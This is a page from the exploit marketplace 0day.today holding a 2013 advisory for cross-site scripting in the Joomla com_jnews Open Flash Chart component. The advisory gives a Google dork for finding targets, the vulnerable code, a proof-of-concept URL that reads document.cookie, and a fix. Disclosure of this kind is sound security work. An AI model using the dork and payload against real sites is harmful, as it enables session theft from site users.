0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Joomla Jnews 8.0.1 Cross Site Scripting Vulnerability
# Exploit Title: Joomla com_jnews Open Flash-Chart XSS # Release Date: 14/05/2013 # Author: Deepankar Arora And Rafay Baloch # Blog: http://rafayhackingarticles.net # Vendor: www.joobi.co # Versions Affected: 8.0.1(latest) and earlier # Google Dork: inurl:com_jnews Description: The vulnerability with Open-Flash Chart is a known vulnerability, however it is integrated with com_jnews, The get-data parameter is not sanitized. Therefore it results in a flash based cross-site scripting. The vulnerable code is as follows: var _local2 = open_flash_chart_data "; if (this.chart_parameters ["get-data"]) { _local2 = this.chart_parameters ["get-Data"]; }; if (this.chart_parameters ["id"]) { _local3 = this.callExternalCallback (_local2 this.chart_parameters ["id"]); } else { _local3 = this.callExternalCallback (_local2); }; We can see from the code that when called, get-data parameter is directly passed to _local2 without proper sanitization. POC: http://localhost/joomla/components/com_jnews/includes/openflashchart/open-flash-chart.swf?get-data=(function(){alert(document.cookie)})() Fix: Sanitize the input. _local2 = (this.chart_parameters ["get-Data"]).toString().replace(/[^\w]/g, ''); The above would filter out all the special characters. References: http://www.wooyun.org/bugs/wooyun-2010-07265 # 0day.today [2024-11-15] #